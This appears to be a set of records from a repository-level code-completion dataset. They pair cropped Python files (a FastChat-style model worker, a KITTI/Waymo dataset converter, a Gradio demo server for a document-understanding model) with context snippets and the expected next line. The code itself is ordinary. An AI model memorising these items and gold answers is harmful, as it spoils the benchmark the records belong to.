{pretty_print_semaphore(self.semaphore)}. " f"call_ct: {self.call_ct}. " f"worker_id: {self.worker_id}. " ) url = self.controller_addr + "/receive_heart_beat" while True: try: ret = requests.post( url, json={ "worker_name": self.worker_addr, "queue_length": self.get_queue_length(), }, timeout=5, ) exist = ret.json()["exist"] break except requests.exceptions.RequestException as e: logger.error(f"heart beat error: {e}") time.sleep(5) if not exist: self.register_to_controller() def get_queue_length(self): if ( self.semaphore is None or self.semaphore._value is None or self.semaphore._waiters is None ): return 0 else: return ( self.limit_worker_concurrency - self.semaphore._value + len(self.semaphore._waiters) ) def get_status(self): return { "model_names": self.model_names, "speed": 1, "queue_length": self.get_queue_length(), } def count_token(self, params): prompt = params["prompt"] input_ids = self.tokenizer(prompt).input_ids input_echo_len = len(input_ids) ret = { "count": input_echo_len, "error_code": 0, } return ret def get_conv_template(self): return {"conv": self.conv} class ModelWorker(BaseModelWorker): def __init__( self, controller_addr: str, worker_addr: str, worker_id: str, model_path: str, model_names: List[str], limit_worker_concurrency: int, no_register: bool, device: str, num_gpus: int, max_gpu_memory: str, load_8bit: bool = False, cpu_offloading: bool = False, gptq_ckpt: str = None, gptq_wbits: int = None, gptq_groupsize: int = None, gptq_act_order: bool = None, awq_ckpt: str = None, awq_wbits: int = None, awq_groupsize: int = None, revision: str = None, stream_interval: int = 2, conv_template: str = None, temperature: float = 0.7, repetition_penalty: float = 1.0, max_new_tokens: int = 512, prompt_file: str = None, router_file: str = None, ): super().__init__( controller_addr, worker_addr, worker_id, model_path, model_names, limit_worker_concurrency, ) logger.info(f"Loading the model {self.model_names} on worker {worker_id} ...")
self._model = FastChatModel(
4
2023-10-08 03:39:18+00:00
12k
Nightmare-n/UniPAD
tools/data_converter/kitti_converter.py
[ { "identifier": "box_np_ops", "path": "mmdet3d/core/bbox/box_np_ops.py", "snippet": "def camera_to_lidar(points, r_rect, velo2cam):\ndef box_camera_to_lidar(data, r_rect, velo2cam):\ndef corners_nd(dims, origin=0.5):\ndef rotation_2d(points, angles):\ndef center_to_corner_box2d(centers, dims, angles=Non...
import mmcv import numpy as np from collections import OrderedDict from nuscenes.utils.geometry_utils import view_points from pathlib import Path from mmdet3d.core.bbox import box_np_ops from .kitti_data_utils import get_kitti_image_info, get_waymo_image_info from .nuscenes_converter import post_process_coords from .file_client import client from os import path as osp
8,258
def export_2d_annotation(root_path, info_path, mono3d=True): """Export 2d annotation from the info file and raw data. Args: root_path (str): Root path of the raw data. info_path (str): Path of the info file. mono3d (bool): Whether to export mono3d annotation. Default: True. """ # get bbox annotations for camera kitti_infos = mmcv.load(info_path) cat2Ids = [ dict(id=kitti_categories.index(cat_name), name=cat_name) for cat_name in kitti_categories ] coco_ann_id = 0 coco_2d_dict = dict(annotations=[], images=[], categories=cat2Ids) for info in mmcv.track_iter_progress(kitti_infos): coco_infos = get_2d_boxes(info, occluded=[0, 1, 2, 3], mono3d=mono3d) (height, width, _) = mmcv.imread(osp.join(root_path, info['image']['image_path'])).shape coco_2d_dict['images'].append( dict( file_name=info['image']['image_path'], id=info['image']['image_idx'], Tri2v=info['calib']['Tr_imu_to_velo'], Trv2c=info['calib']['Tr_velo_to_cam'], rect=info['calib']['R0_rect'], cam_intrinsic=info['calib']['P2'], width=width, height=height)) for coco_info in coco_infos: if coco_info is None: continue # add an empty key for coco format coco_info['segmentation'] = [] coco_info['id'] = coco_ann_id coco_2d_dict['annotations'].append(coco_info) coco_ann_id += 1 if mono3d: json_prefix = f'{info_path[:-4]}_mono3d' else: json_prefix = f'{info_path[:-4]}' mmcv.dump(coco_2d_dict, f'{json_prefix}.coco.json') def get_2d_boxes(info, occluded, mono3d=True): """Get the 2D annotation records for a given info. Args: info: Information of the given sample data. occluded: Integer (0, 1, 2, 3) indicating occlusion state: \ 0 = fully visible, 1 = partly occluded, 2 = largely occluded, \ 3 = unknown, -1 = DontCare mono3d (bool): Whether to get boxes with mono3d annotation. Return: list[dict]: List of 2D annotation record that belongs to the input `sample_data_token`. """ # Get calibration information P2 = info['calib']['P2'] repro_recs = [] # if no annotations in info (test dataset), then return if 'annos' not in info: return repro_recs # Get all the annotation with the specified visibilties. ann_dicts = info['annos'] mask = [(ocld in occluded) for ocld in ann_dicts['occluded']] for k in ann_dicts.keys(): ann_dicts[k] = ann_dicts[k][mask] # convert dict of list to list of dict ann_recs = [] for i in range(len(ann_dicts['occluded'])): ann_rec = {} for k in ann_dicts.keys(): ann_rec[k] = ann_dicts[k][i] ann_recs.append(ann_rec) for ann_idx, ann_rec in enumerate(ann_recs): # Augment sample_annotation with token information. ann_rec['sample_annotation_token'] = \ f"{info['image']['image_idx']}.{ann_idx}" ann_rec['sample_data_token'] = info['image']['image_idx'] sample_data_token = info['image']['image_idx'] loc = ann_rec['location'][np.newaxis, :] dim = ann_rec['dimensions'][np.newaxis, :] rot = ann_rec['rotation_y'][np.newaxis, np.newaxis] # transform the center from [0.5, 1.0, 0.5] to [0.5, 0.5, 0.5] dst = np.array([0.5, 0.5, 0.5]) src = np.array([0.5, 1.0, 0.5]) loc = loc + dim * (dst - src) offset = (info['calib']['P2'][0, 3] - info['calib']['P0'][0, 3]) \ / info['calib']['P2'][0, 0] loc_3d = np.copy(loc) loc_3d[0, 0] += offset gt_bbox_3d = np.concatenate([loc, dim, rot], axis=1).astype(np.float32) # Filter out the corners that are not in front of the calibrated # sensor. corners_3d = box_np_ops.center_to_corner_box3d( gt_bbox_3d[:, :3], gt_bbox_3d[:, 3:6], gt_bbox_3d[:, 6], [0.5, 0.5, 0.5], axis=1) corners_3d = corners_3d[0].T # (1, 8, 3) -> (3, 8) in_front = np.argwhere(corners_3d[2, :] > 0).flatten() corners_3d = corners_3d[:, in_front] # Project 3d box to 2d. camera_intrinsic = P2 corner_coords = view_points(corners_3d, camera_intrinsic, True).T[:, :2].tolist() # Keep only corners that fall within the image.
# Copyright (c) OpenMMLab. All rights reserved. kitti_categories = ('Pedestrian', 'Cyclist', 'Car') def convert_to_kitti_info_version2(info): """convert kitti info v1 to v2 if possible. Args: info (dict): Info of the input kitti data. - image (dict): image info - calib (dict): calibration info - point_cloud (dict): point cloud info """ if 'image' not in info or 'calib' not in info or 'point_cloud' not in info: info['image'] = { 'image_shape': info['img_shape'], 'image_idx': info['image_idx'], 'image_path': info['img_path'], } info['calib'] = { 'R0_rect': info['calib/R0_rect'], 'Tr_velo_to_cam': info['calib/Tr_velo_to_cam'], 'P2': info['calib/P2'], } info['point_cloud'] = { 'velodyne_path': info['velodyne_path'], } def _read_imageset_file(path): lines = client.readlines(path) return [int(line) for line in lines] def _calculate_num_points_in_gt(data_path, infos, relative_path, remove_outside=True, num_features=4): for info in mmcv.track_iter_progress(infos): pc_info = info['point_cloud'] image_info = info['image'] calib = info['calib'] if relative_path: v_path = str(Path(data_path) / pc_info['velodyne_path']) else: v_path = pc_info['velodyne_path'] points_v = client.load_to_numpy(v_path, dtype=np.float32).reshape([-1, num_features]) rect = calib['R0_rect'] Trv2c = calib['Tr_velo_to_cam'][0] if isinstance(calib['Tr_velo_to_cam'], list) else calib['Tr_velo_to_cam'] P2 = calib['P2'] if remove_outside: points_v = box_np_ops.remove_outside_points( points_v, rect, Trv2c, P2, image_info['image_shape']) # points_v = points_v[points_v[:, 0] > 0] annos = info['annos'] num_obj = len([n for n in annos['name'] if n != 'DontCare']) # annos = kitti.filter_kitti_anno(annos, ['DontCare']) dims = annos['dimensions'][:num_obj] loc = annos['location'][:num_obj] rots = annos['rotation_y'][:num_obj] gt_boxes_camera = np.concatenate([loc, dims, rots[..., np.newaxis]], axis=1) gt_boxes_lidar = box_np_ops.box_camera_to_lidar( gt_boxes_camera, rect, Trv2c) indices = box_np_ops.points_in_rbbox(points_v[:, :3], gt_boxes_lidar) num_points_in_gt = indices.sum(0) num_ignored = len(annos['dimensions']) - num_obj num_points_in_gt = np.concatenate( [num_points_in_gt, -np.ones([num_ignored])]) annos['num_points_in_gt'] = num_points_in_gt.astype(np.int32) def create_kitti_info_file(data_path, pkl_prefix='kitti', save_path=None, relative_path=True): """Create info file of KITTI dataset. Given the raw data, generate its related info file in pkl format. Args: data_path (str): Path of the data root. pkl_prefix (str): Prefix of the info file to be generated. save_path (str): Path to save the info file. relative_path (bool): Whether to use relative path. """ imageset_folder = Path(data_path) / 'ImageSets' train_img_ids = _read_imageset_file(str(imageset_folder / 'train.txt')) val_img_ids = _read_imageset_file(str(imageset_folder / 'val.txt')) test_img_ids = _read_imageset_file(str(imageset_folder / 'test.txt')) print('Generate info. this may take several minutes.') if save_path is None: save_path = Path(data_path) else: save_path = Path(save_path) kitti_infos_train = get_kitti_image_info( data_path, training=True, velodyne=True, calib=True, image_ids=train_img_ids, relative_path=relative_path) _calculate_num_points_in_gt(data_path, kitti_infos_train, relative_path) filename = save_path / f'{pkl_prefix}_infos_train.pkl' print(f'Kitti info train file is saved to {filename}') mmcv.dump(kitti_infos_train, filename) kitti_infos_val = get_kitti_image_info( data_path, training=True, velodyne=True, calib=True, image_ids=val_img_ids, relative_path=relative_path) _calculate_num_points_in_gt(data_path, kitti_infos_val, relative_path) filename = save_path / f'{pkl_prefix}_infos_val.pkl' print(f'Kitti info val file is saved to {filename}') mmcv.dump(kitti_infos_val, filename) filename = save_path / f'{pkl_prefix}_infos_trainval.pkl' print(f'Kitti info trainval file is saved to {filename}') mmcv.dump(kitti_infos_train + kitti_infos_val, filename) kitti_infos_test = get_kitti_image_info( data_path, training=False, label_info=False, velodyne=True, calib=True, image_ids=test_img_ids, relative_path=relative_path) filename = save_path / f'{pkl_prefix}_infos_test.pkl' print(f'Kitti info test file is saved to {filename}') mmcv.dump(kitti_infos_test, filename) def create_waymo_info_file(data_path, pkl_prefix='waymo', save_path=None, relative_path=True, max_sweeps=5): """Create info file of waymo dataset. Given the raw data, generate its related info file in pkl format. Args: data_path (str): Path of the data root. pkl_prefix (str): Prefix of the info file to be generated. save_path (str | None): Path to save the info file. relative_path (bool): Whether to use relative path. max_sweeps (int): Max sweeps before the detection frame to be used. """ imageset_folder = Path(data_path) / 'ImageSets' train_img_ids = _read_imageset_file(str(imageset_folder / 'train.txt')) val_img_ids = _read_imageset_file(str(imageset_folder / 'val.txt')) test_img_ids = _read_imageset_file(str(imageset_folder / 'test.txt')) print('Generate info. this may take several minutes.') if save_path is None: save_path = Path(data_path) else: save_path = Path(save_path) waymo_infos_train = get_waymo_image_info( data_path, training=True, velodyne=True, calib=True, pose=True, image_ids=train_img_ids, relative_path=relative_path, max_sweeps=max_sweeps) _calculate_num_points_in_gt( data_path, waymo_infos_train, relative_path, num_features=6, remove_outside=False) filename = save_path / f'{pkl_prefix}_infos_train.pkl' print(f'Waymo info train file is saved to {filename}') mmcv.dump(waymo_infos_train, filename) waymo_infos_val = get_waymo_image_info( data_path, training=True, velodyne=True, calib=True, pose=True, image_ids=val_img_ids, relative_path=relative_path, max_sweeps=max_sweeps) _calculate_num_points_in_gt( data_path, waymo_infos_val, relative_path, num_features=6, remove_outside=False) filename = save_path / f'{pkl_prefix}_infos_val.pkl' print(f'Waymo info val file is saved to {filename}') mmcv.dump(waymo_infos_val, filename) filename = save_path / f'{pkl_prefix}_infos_trainval.pkl' print(f'Waymo info trainval file is saved to {filename}') mmcv.dump(waymo_infos_train + waymo_infos_val, filename) waymo_infos_test = get_waymo_image_info( data_path, training=False, label_info=False, velodyne=True, calib=True, pose=True, image_ids=test_img_ids, relative_path=relative_path, max_sweeps=max_sweeps) filename = save_path / f'{pkl_prefix}_infos_test.pkl' print(f'Waymo info test file is saved to {filename}') mmcv.dump(waymo_infos_test, filename) def _create_reduced_point_cloud(data_path, info_path, save_path=None, back=False, num_features=4, front_camera_id=2): """Create reduced point clouds for given info. Args: data_path (str): Path of original data. info_path (str): Path of data info. save_path (str | None): Path to save reduced point cloud data. Default: None. back (bool): Whether to flip the points to back. num_features (int): Number of point features. Default: 4. front_camera_id (int): The referenced/front camera ID. Default: 2. """ kitti_infos = mmcv.load(info_path) for info in mmcv.track_iter_progress(kitti_infos): pc_info = info['point_cloud'] image_info = info['image'] calib = info['calib'] v_path = pc_info['velodyne_path'] v_path = Path(data_path) / v_path points_v = np.fromfile( str(v_path), dtype=np.float32, count=-1).reshape([-1, num_features]) rect = calib['R0_rect'] if front_camera_id == 2: P2 = calib['P2'] else: P2 = calib[f'P{str(front_camera_id)}'] Trv2c = calib['Tr_velo_to_cam'] # first remove z < 0 points # keep = points_v[:, -1] > 0 # points_v = points_v[keep] # then remove outside. if back: points_v[:, 0] = -points_v[:, 0] points_v = box_np_ops.remove_outside_points(points_v, rect, Trv2c, P2, image_info['image_shape']) if save_path is None: save_dir = v_path.parent.parent / (v_path.parent.stem + '_reduced') if not save_dir.exists(): save_dir.mkdir() save_filename = save_dir / v_path.name # save_filename = str(v_path) + '_reduced' if back: save_filename += '_back' else: save_filename = str(Path(save_path) / v_path.name) if back: save_filename += '_back' with open(save_filename, 'w') as f: points_v.tofile(f) def create_reduced_point_cloud(data_path, pkl_prefix, train_info_path=None, val_info_path=None, test_info_path=None, save_path=None, with_back=False): """Create reduced point clouds for training/validation/testing. Args: data_path (str): Path of original data. pkl_prefix (str): Prefix of info files. train_info_path (str | None): Path of training set info. Default: None. val_info_path (str | None): Path of validation set info. Default: None. test_info_path (str | None): Path of test set info. Default: None. save_path (str | None): Path to save reduced point cloud data. with_back (bool): Whether to flip the points to back. """ if train_info_path is None: train_info_path = Path(data_path) / f'{pkl_prefix}_infos_train.pkl' if val_info_path is None: val_info_path = Path(data_path) / f'{pkl_prefix}_infos_val.pkl' if test_info_path is None: test_info_path = Path(data_path) / f'{pkl_prefix}_infos_test.pkl' print('create reduced point cloud for training set') _create_reduced_point_cloud(data_path, train_info_path, save_path) print('create reduced point cloud for validation set') _create_reduced_point_cloud(data_path, val_info_path, save_path) print('create reduced point cloud for testing set') _create_reduced_point_cloud(data_path, test_info_path, save_path) if with_back: _create_reduced_point_cloud( data_path, train_info_path, save_path, back=True) _create_reduced_point_cloud( data_path, val_info_path, save_path, back=True) _create_reduced_point_cloud( data_path, test_info_path, save_path, back=True) def export_2d_annotation(root_path, info_path, mono3d=True): """Export 2d annotation from the info file and raw data. Args: root_path (str): Root path of the raw data. info_path (str): Path of the info file. mono3d (bool): Whether to export mono3d annotation. Default: True. """ # get bbox annotations for camera kitti_infos = mmcv.load(info_path) cat2Ids = [ dict(id=kitti_categories.index(cat_name), name=cat_name) for cat_name in kitti_categories ] coco_ann_id = 0 coco_2d_dict = dict(annotations=[], images=[], categories=cat2Ids) for info in mmcv.track_iter_progress(kitti_infos): coco_infos = get_2d_boxes(info, occluded=[0, 1, 2, 3], mono3d=mono3d) (height, width, _) = mmcv.imread(osp.join(root_path, info['image']['image_path'])).shape coco_2d_dict['images'].append( dict( file_name=info['image']['image_path'], id=info['image']['image_idx'], Tri2v=info['calib']['Tr_imu_to_velo'], Trv2c=info['calib']['Tr_velo_to_cam'], rect=info['calib']['R0_rect'], cam_intrinsic=info['calib']['P2'], width=width, height=height)) for coco_info in coco_infos: if coco_info is None: continue # add an empty key for coco format coco_info['segmentation'] = [] coco_info['id'] = coco_ann_id coco_2d_dict['annotations'].append(coco_info) coco_ann_id += 1 if mono3d: json_prefix = f'{info_path[:-4]}_mono3d' else: json_prefix = f'{info_path[:-4]}' mmcv.dump(coco_2d_dict, f'{json_prefix}.coco.json') def get_2d_boxes(info, occluded, mono3d=True): """Get the 2D annotation records for a given info. Args: info: Information of the given sample data. occluded: Integer (0, 1, 2, 3) indicating occlusion state: \ 0 = fully visible, 1 = partly occluded, 2 = largely occluded, \ 3 = unknown, -1 = DontCare mono3d (bool): Whether to get boxes with mono3d annotation. Return: list[dict]: List of 2D annotation record that belongs to the input `sample_data_token`. """ # Get calibration information P2 = info['calib']['P2'] repro_recs = [] # if no annotations in info (test dataset), then return if 'annos' not in info: return repro_recs # Get all the annotation with the specified visibilties. ann_dicts = info['annos'] mask = [(ocld in occluded) for ocld in ann_dicts['occluded']] for k in ann_dicts.keys(): ann_dicts[k] = ann_dicts[k][mask] # convert dict of list to list of dict ann_recs = [] for i in range(len(ann_dicts['occluded'])): ann_rec = {} for k in ann_dicts.keys(): ann_rec[k] = ann_dicts[k][i] ann_recs.append(ann_rec) for ann_idx, ann_rec in enumerate(ann_recs): # Augment sample_annotation with token information. ann_rec['sample_annotation_token'] = \ f"{info['image']['image_idx']}.{ann_idx}" ann_rec['sample_data_token'] = info['image']['image_idx'] sample_data_token = info['image']['image_idx'] loc = ann_rec['location'][np.newaxis, :] dim = ann_rec['dimensions'][np.newaxis, :] rot = ann_rec['rotation_y'][np.newaxis, np.newaxis] # transform the center from [0.5, 1.0, 0.5] to [0.5, 0.5, 0.5] dst = np.array([0.5, 0.5, 0.5]) src = np.array([0.5, 1.0, 0.5]) loc = loc + dim * (dst - src) offset = (info['calib']['P2'][0, 3] - info['calib']['P0'][0, 3]) \ / info['calib']['P2'][0, 0] loc_3d = np.copy(loc) loc_3d[0, 0] += offset gt_bbox_3d = np.concatenate([loc, dim, rot], axis=1).astype(np.float32) # Filter out the corners that are not in front of the calibrated # sensor. corners_3d = box_np_ops.center_to_corner_box3d( gt_bbox_3d[:, :3], gt_bbox_3d[:, 3:6], gt_bbox_3d[:, 6], [0.5, 0.5, 0.5], axis=1) corners_3d = corners_3d[0].T # (1, 8, 3) -> (3, 8) in_front = np.argwhere(corners_3d[2, :] > 0).flatten() corners_3d = corners_3d[:, in_front] # Project 3d box to 2d. camera_intrinsic = P2 corner_coords = view_points(corners_3d, camera_intrinsic, True).T[:, :2].tolist() # Keep only corners that fall within the image.
final_coords = post_process_coords(corner_coords)
3
2023-10-13 05:52:45+00:00
12k
LukeForeverYoung/UReader
serve/web_server.py
[ { "identifier": "default_conversation", "path": "serve/conversation.py", "snippet": "class SeparatorStyle(Enum):\nclass Conversation:\n SINGLE = auto()\n TWO = auto()\n W, H = image.size\n H, W = longest_edge, shortest_edge\n ...
import os import argparse import datetime import json import os import time import torch import gradio as gr import requests import json from .conversation import default_conversation from .gradio_css import code_highlight_css from .gradio_patch import Chatbot as grChatbot from .serve_utils import ( add_text, after_process_image, disable_btn, no_change_btn, downvote_last_response, enable_btn, flag_last_response, get_window_url_params, init, regenerate, upvote_last_response ) from .model_worker import mPLUG_Owl_Server from .model_utils import post_process_code from pipeline.utils import add_config_args, set_args from sconf import Config from functools import partial
7,444
return time.sleep(0.03) except requests.exceptions.RequestException as e: state.messages[-1][-1] = "**NETWORK ERROR DUE TO HIGH TRAFFIC. PLEASE REGENERATE OR REFRESH THIS PAGE.**" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return state.messages[-1][-1] = state.messages[-1][-1][:-1] yield (state, state.to_gradio_chatbot(), "", None) + (enable_btn,) * 5 # [![Star on GitHub](https://img.shields.io/github/stars/X-PLUG/mPLUG-Owl.svg?style=social)](https://github.com/X-PLUG/mPLUG-Owl/stargazers) # **If you are facing ERROR, it might be Out-Of-Memory (OOM) issue due to the limited GPU memory, please refresh the page to restart.** Besides, we recommand you to duplicate the space with a single A10 GPU to have a better experience. Or you can visit our demo hosted on [Modelscope](https://www.modelscope.cn/studios/damo/mPLUG-Owl/summary) which is hosted on a V100 machine. title_markdown = (""" <h1 align="center"><a href="https://github.com/X-PLUG/mPLUG-DocOwl"><img src="https://github.com/X-PLUG/mPLUG-DocOwl/raw/main/assets/mPLUG_new1.png", alt="mPLUG-DocOwl" border="0" style="margin: 0 auto; height: 200px;" /></a> </h1> <h2 align="center"> mPLUG-DocOwl: Modularized Multimodal Large Language Model for Document Understanding </h2> <h5 align="center"> If you like our project, please give us a star ✨ on Github for latest update. </h2> <div align="center"> <div style="display:flex; gap: 0.25rem;" align="center"> <a href='https://github.com/X-PLUG/mPLUG-DocOwl'><img src='https://img.shields.io/badge/Github-Code-blue'></a> <a href="https://arxiv.org/abs/2307.02499"><img src="https://github.com/X-PLUG/mPLUG-DocOwl/raw/main/assets/Paper-Arxiv-orange.svg"></a> <a href='https://github.com/X-PLUG/mPLUG-DocOwl/stargazers'><img src='https://img.shields.io/github/stars/X-PLUG/mPLUG-DocOwl.svg?style=social'></a> </div> </div> **Notice**: The output is generated by top-k sampling scheme and may involve some randomness. For multiple images, we cannot ensure it's performance since only image-text pairs are used during training. """) tos_markdown = (""" ### Terms of use By using this service, users are required to agree to the following terms: The service is a research preview intended for non-commercial use only. It only provides limited safety measures and may generate offensive content. It must not be used for any illegal, harmful, violent, racist, or sexual purposes. The service may collect user dialogue data for future research. Please click the "Flag" button if you get any inappropriate answer! We will collect those to keep improving our moderator. For an optimal experience, please use desktop computers for this demo, as mobile devices may compromise its quality. **Copyright 2023 Alibaba DAMO Academy.** """) learn_more_markdown = (""" ### License The service is a research preview intended for non-commercial use only, subject to the model [License](https://github.com/facebookresearch/llama/blob/main/MODEL_CARD.md) of LLaMA, [Terms of Use](https://openai.com/policies/terms-of-use) of the data generated by OpenAI, and [Privacy Practices](https://chrome.google.com/webstore/detail/sharegpt-share-your-chatg/daiacboceoaocpibfodeljbdfacokfjb) of ShareGPT. Please contact us if you find any potential violation. """) css = code_highlight_css + """ pre { white-space: pre-wrap; /* Since CSS 2.1 */ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ word-wrap: break-word; /* Internet Explorer 5.5+ */ } """ def build_demo(model, local_example=None): # with gr.Blocks(title="mPLUG-Owl🦉", theme=gr.themes.Base(), css=css) as demo: with gr.Blocks(title="mPLUG-DocOwl", css=css) as demo: state = gr.State() gr.Markdown(SHARED_UI_WARNING) gr.Markdown(title_markdown) with gr.Row(): with gr.Column(scale=3): imagebox = gr.Image(type="pil") with gr.Accordion("Parameters", open=True, visible=False) as parameter_row: max_output_tokens = gr.Slider(minimum=0, maximum=512, value=256, step=64, interactive=True, label="Max output tokens",) temperature = gr.Slider(minimum=0, maximum=1, value=1, step=0.1, interactive=True, label="Temperature",) top_k = gr.Slider(minimum=1, maximum=5, value=1, step=1, interactive=True, label="Top K",) top_p = gr.Slider(minimum=0, maximum=1, value=0.9, step=0.1, interactive=True, label="Top p",) length_penalty = gr.Slider(minimum=1, maximum=5, value=1, step=0.1, interactive=True, label="length_penalty",) num_beams = gr.Slider(minimum=1, maximum=5, value=1, step=1, interactive=True, label="Beam Size",) no_repeat_ngram_size = gr.Slider(minimum=1, maximum=5, value=2, step=1, interactive=True, label="no_repeat_ngram_size",) do_sample = gr.Checkbox(interactive=True, value=False, label="do_sample") gr.Markdown(tos_markdown) with gr.Column(scale=6): chatbot = grChatbot(elem_id="chatbot", visible=False).style(height=1000) with gr.Row(): with gr.Column(scale=8): textbox = gr.Textbox(show_label=False, placeholder="Enter text and press ENTER", visible=False).style(container=False) with gr.Column(scale=1, min_width=60): submit_btn = gr.Button(value="Submit", visible=False) with gr.Row(visible=False) as button_row: upvote_btn = gr.Button(value="👍 Upvote", interactive=False) downvote_btn = gr.Button(value="👎 Downvote", interactive=False) flag_btn = gr.Button(value="⚠️ Flag", interactive=False) regenerate_btn = gr.Button(value="🔄 Regenerate", interactive=False) clear_btn = gr.Button(value="🗑️ Clear history", interactive=False) if local_example: with open(local_example,'r')as f: examples = json.load(f) else: examples=[ # [f"examples/fruits.jpg", "Write an advertisement for this store."], [f"examples/table.jpg", "What programming languages does the tokenizers supports?"], # [f"DocLLM/images/screenshot_8.png", "What are the two latest news"], [f'DocLLM/images/natural_42.png', 'what is the name of player 70?'], [f"examples/monday.jpg", "Explain why this meme is funny."], [f"examples/docowl.jpg", "Give me an detail introduction about this paper."], ] gr.Examples(examples=examples, inputs=[imagebox, textbox]) gr.Markdown(learn_more_markdown) url_params = gr.JSON(visible=False) btn_list = [upvote_btn, downvote_btn, flag_btn, regenerate_btn, clear_btn] parameter_list = [ max_output_tokens, temperature, top_k, top_p, num_beams, no_repeat_ngram_size, length_penalty, do_sample ] upvote_btn.click(upvote_last_response, [state], [textbox, upvote_btn, downvote_btn, flag_btn])
SHARED_UI_WARNING = f'''### [NOTE] You can duplicate and use it with a paid private GPU. <a class="duplicate-button" style="display:inline-block" target="_blank" href="https://huggingface.co/spaces/MAGAer13/mPLUG-Owl?duplicate=true"><img style="margin-top:0;margin-bottom:0" src="https://huggingface.co/datasets/huggingface/badges/raw/main/duplicate-this-space-md.svg" alt="Duplicate Space"></a> ''' SHARED_UI_WARNING = '' def load_demo(url_params, request: gr.Request): dropdown_update = gr.Dropdown.update(visible=True) state = default_conversation.copy() return (state, dropdown_update, gr.Chatbot.update(visible=True), gr.Textbox.update(visible=True), gr.Button.update(visible=True), gr.Row.update(visible=True), gr.Accordion.update(visible=True)) def clear_history(request: gr.Request): state = default_conversation.copy() return (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 def http_bot(state, max_output_tokens, temperature, top_k, top_p, num_beams, no_repeat_ngram_size, length_penalty, do_sample, request: gr.Request, model): if state.skip_next: # This generate call is skipped due to invalid inputs yield (state, state.to_gradio_chatbot()) + (no_change_btn,) * 5 return prompt = after_process_image(state.get_prompt()) images = state.get_images() data = { "text_input": prompt, "images": images if len(images) > 0 else [], "generation_config": { "top_k": int(top_k), "top_p": float(top_p), "num_beams": int(num_beams), "no_repeat_ngram_size": int(no_repeat_ngram_size), "length_penalty": float(length_penalty), "do_sample": bool(do_sample), "temperature": float(temperature), "max_new_tokens": min(int(max_output_tokens), 1536), } } state.messages[-1][-1] = "▌" yield (state, state.to_gradio_chatbot()) + (disable_btn,) * 5 try: for chunk in model.predict(data): if chunk: if chunk[1]: output = chunk[0].strip() output = post_process_code(output) state.messages[-1][-1] = output + "▌" yield (state, state.to_gradio_chatbot()) + (disable_btn,) * 5 else: output = chunk[0].strip() state.messages[-1][-1] = output yield (state, state.to_gradio_chatbot()) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return time.sleep(0.03) except requests.exceptions.RequestException as e: state.messages[-1][-1] = "**NETWORK ERROR DUE TO HIGH TRAFFIC. PLEASE REGENERATE OR REFRESH THIS PAGE.**" yield (state, state.to_gradio_chatbot()) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return state.messages[-1][-1] = state.messages[-1][-1][:-1] yield (state, state.to_gradio_chatbot()) + (enable_btn,) * 5 def drop_image(images, prompt): # Drop images if len(images)>1: images = [images[-1]] last_image_pos = prompt.rfind('<image>') prompt = prompt[:last_image_pos].replace('<image>','')+prompt[last_image_pos:] return images, prompt def add_text_http_bot( state, text, image, max_output_tokens, temperature, top_k, top_p, num_beams, no_repeat_ngram_size, length_penalty, do_sample, request: gr.Request, model): if len(text) <= 0 and (image is None): state.skip_next = True return (state, state.to_gradio_chatbot(), "", None) + (no_change_btn,) * 5 if image is not None: if '<image>' not in text: text = text + '\n<image>' text = (text, image) state.append_message(state.roles[0], text) state.append_message(state.roles[1], None) state.skip_next = False yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 if state.skip_next: # This generate call is skipped due to invalid inputs yield (state, state.to_gradio_chatbot(), "", None) + (no_change_btn,) * 5 return prompt = after_process_image(state.get_prompt()) images = state.get_images() images, prompt = drop_image(images, prompt) data = { "text_input": prompt, "images": images if len(images) > 0 else [], "generation_config": { "top_k": int(top_k), "top_p": float(top_p), "num_beams": int(num_beams), "no_repeat_ngram_size": int(no_repeat_ngram_size), "length_penalty": float(length_penalty), "do_sample": bool(do_sample), "temperature": float(temperature), "max_new_tokens": min(int(max_output_tokens), 1536), } } state.messages[-1][-1] = "▌" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 try: for chunk in model.predict(data): if chunk: if chunk[1]: output = chunk[0].strip() output = post_process_code(output) state.messages[-1][-1] = output + "▌" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 else: output = chunk[0].strip() state.messages[-1][-1] = output yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return time.sleep(0.03) except requests.exceptions.RequestException as e: state.messages[-1][-1] = "**NETWORK ERROR DUE TO HIGH TRAFFIC. PLEASE REGENERATE OR REFRESH THIS PAGE.**" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return state.messages[-1][-1] = state.messages[-1][-1][:-1] yield (state, state.to_gradio_chatbot(), "", None) + (enable_btn,) * 5 def regenerate_http_bot(state, max_output_tokens, temperature, top_k, top_p, num_beams, no_repeat_ngram_size, length_penalty, do_sample, request: gr.Request, model): state.messages[-1][-1] = None state.skip_next = False yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 prompt = after_process_image(state.get_prompt()) images = state.get_images() images, prompt = drop_image(images, prompt) data = { "text_input": prompt, "images": images if len(images) > 0 else [], "generation_config": { "top_k": int(top_k), "top_p": float(top_p), "num_beams": int(num_beams), "no_repeat_ngram_size": int(no_repeat_ngram_size), "length_penalty": float(length_penalty), "do_sample": bool(do_sample), "temperature": float(temperature), "max_new_tokens": min(int(max_output_tokens), 1536), } } state.messages[-1][-1] = "▌" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 try: for chunk in model.predict(data): if chunk: if chunk[1]: output = chunk[0].strip() output = post_process_code(output) state.messages[-1][-1] = output + "▌" yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn,) * 5 else: output = chunk[0].strip() state.messages[-1][-1] = output yield (state, state.to_gradio_chatbot(), "", None) + (disable_btn, disable_btn, disable_btn, enable_btn, enable_btn) return time.sleep(0.03) except requests.exceptions.RequestException as e: state.messages[-1][-1] = "**NETWORK ERROR DUE TO HIGH TRAFFIC. PLEASE REGENERATE OR REFRESH 